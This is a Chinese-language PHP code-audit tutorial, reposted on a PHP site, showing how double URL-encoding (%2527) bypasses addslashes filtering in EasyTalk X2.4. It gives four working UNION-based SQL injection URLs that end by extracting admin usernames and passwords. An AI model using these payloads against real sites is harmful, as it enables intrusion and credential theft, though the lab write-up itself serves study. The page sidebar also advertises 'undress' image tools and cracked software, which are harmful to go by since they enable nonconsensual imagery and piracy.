search
HomeBackend DevelopmentPHP Tutorial【PHP代码审计实例教程】SQL注入-2.全局防护Bypass之UrlDecode

0x01 背景

现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。遇到这种情况我们就需要找一些编码解码的函数来绕过全局防护,这篇文章讲urldecode()的情况,同样大牛请自觉绕道~

漏洞来源于乌云: http://www.wooyun.org/bugs/wooyun-2014-050338

0x02 环境搭建

看背景我们使用了低版本的easytalk程序,版本为X2.4

①源码我打包了一份: http://pan.baidu.com/s/1bopOFNL

②解压到www的easytalk目录下,按照提示一步步安装即可,遇到问题自行百度或谷歌,成功后访问如下图:

0x03 漏洞分析

首先看下源码结构,用的ThinkPHP框架,比较复杂:

有兴趣的可以去研究下再继续往下看,新手可以知道ThinkPHP对接收的参数是有过滤的,并且根据你服务器是否开启GPC会做相应的处理:

1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php文件第266行:

/** +---------------------------------------------------------- * 如果 magic_quotes_gpc 为关闭状态,这个函数可以转义字符串 +---------------------------------------------------------- * @access public +---------------------------------------------------------- * @param string $string 要处理的字符串 +---------------------------------------------------------- * @return string +---------------------------------------------------------- */static public function addSlashes($string) {    if (!get_magic_quotes_gpc()) {        $string = addslashes($string);    }    return $string;}

2.使用Seay代码审计系统的全局搜索功能,搜索包含关键字为”urldecode”的文件,发现TopicAction.class.php包含一个对接收的参数keyword进行urldecode并且有sql查询的地方:

3.我们跟进这个php文件,发现接收keyword就对其进行urldecode转码,然后立即带入查询,造成注入:

public function topic() {    $keyword=$this->_get('keyword','urldecode');//使用ThinkPHP框架自带的_get对接收的keyword参数进行urldecode(详见http://doc.thinkphp.cn/manual/get_system_var.html)    if ($keyword) {        $topic = D('Topic')->where("topicname='$keyword'")->find();//ok,带入查询了        if ($topic) {            $isfollow=D('Mytopic')->isfollow($topic['id'],$this->my['user_id']);            $topicusers=D('MytopicView')->where("topicid='$topic[id]'")->order('id desc')->limit(9)->select();            //getwidget            $widget=M('Topicwidget')->where("topicid='$topic[id]'")->order('`order` ASC')->select();            if ($widget) {                foreach ($widget as $val) {                    $topicwidget[$val['widgettype']][]=$val;                }            }            $this->assign('topicwidget',$topicwidget);        } else {            $count=$isfollow=0;        }        $this->assign('comefrom','topic');        $this->assign('keyword',$keyword);        $this->assign('topic',$topic);        $this->assign('topicusers',$topicusers);        $this->assign('isfollow',$isfollow);        $this->assign('subname','#'.$keyword.'#');        $this->display();    } else {        header("location:".SITE_URL.'/?m=topic&a=index');    }}

0x04 漏洞证明

1.我们构造获取数据库相关信息的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3,concat(database(),0x5c,user(),0x5c,version()),5 %23

成功获取到信息如下:

查看下MySql日志,发现成功执行了sql语句:

2.我们构造获取数据库eazytalk所有表的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x6561737974616C6B),5%23

成功获取所有表信息如下:

4.构造获取表et_users所有字段信息的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x65745F7573657273),5%23

成功获取表et_users所有字段信息如下:

5.构造获取et_users表第一条账户的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT user_name,0x5f,password) from et_users limit 0,1),5%23

成功获取表admin的账户密码如下:

原文地址:

http://www.cnbraid.com/2015/12/24/sql1/

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
11 Best PHP URL Shortener Scripts (Free and Premium)11 Best PHP URL Shortener Scripts (Free and Premium)Mar 03, 2025 am 10:49 AM

Long URLs, often cluttered with keywords and tracking parameters, can deter visitors. A URL shortening script offers a solution, creating concise links ideal for social media and other platforms. These scripts are valuable for individual websites a

Introduction to the Instagram APIIntroduction to the Instagram APIMar 02, 2025 am 09:32 AM

Following its high-profile acquisition by Facebook in 2012, Instagram adopted two sets of APIs for third-party use. These are the Instagram Graph API and the Instagram Basic Display API.As a developer building an app that requires information from a

Working with Flash Session Data in LaravelWorking with Flash Session Data in LaravelMar 12, 2025 pm 05:08 PM

Laravel simplifies handling temporary session data using its intuitive flash methods. This is perfect for displaying brief messages, alerts, or notifications within your application. Data persists only for the subsequent request by default: $request-

Build a React App With a Laravel Back End: Part 2, ReactBuild a React App With a Laravel Back End: Part 2, ReactMar 04, 2025 am 09:33 AM

This is the second and final part of the series on building a React application with a Laravel back-end. In the first part of the series, we created a RESTful API using Laravel for a basic product-listing application. In this tutorial, we will be dev

Simplified HTTP Response Mocking in Laravel TestsSimplified HTTP Response Mocking in Laravel TestsMar 12, 2025 pm 05:09 PM

Laravel provides concise HTTP response simulation syntax, simplifying HTTP interaction testing. This approach significantly reduces code redundancy while making your test simulation more intuitive. The basic implementation provides a variety of response type shortcuts: use Illuminate\Support\Facades\Http; Http::fake([ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

cURL in PHP: How to Use the PHP cURL Extension in REST APIscURL in PHP: How to Use the PHP cURL Extension in REST APIsMar 14, 2025 am 11:42 AM

The PHP Client URL (cURL) extension is a powerful tool for developers, enabling seamless interaction with remote servers and REST APIs. By leveraging libcurl, a well-respected multi-protocol file transfer library, PHP cURL facilitates efficient execution of various network protocols, including HTTP, HTTPS, and FTP. This extension offers granular control over HTTP requests, supports multiple concurrent operations, and provides built-in security features.

12 Best PHP Chat Scripts on CodeCanyon12 Best PHP Chat Scripts on CodeCanyonMar 13, 2025 pm 12:08 PM

Do you want to provide real-time, instant solutions to your customers' most pressing problems? Live chat lets you have real-time conversations with customers and resolve their problems instantly. It allows you to provide faster service to your custom

Announcement of 2025 PHP Situation SurveyAnnouncement of 2025 PHP Situation SurveyMar 03, 2025 pm 04:20 PM

The 2025 PHP Landscape Survey investigates current PHP development trends. It explores framework usage, deployment methods, and challenges, aiming to provide insights for developers and businesses. The survey anticipates growth in modern PHP versio

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function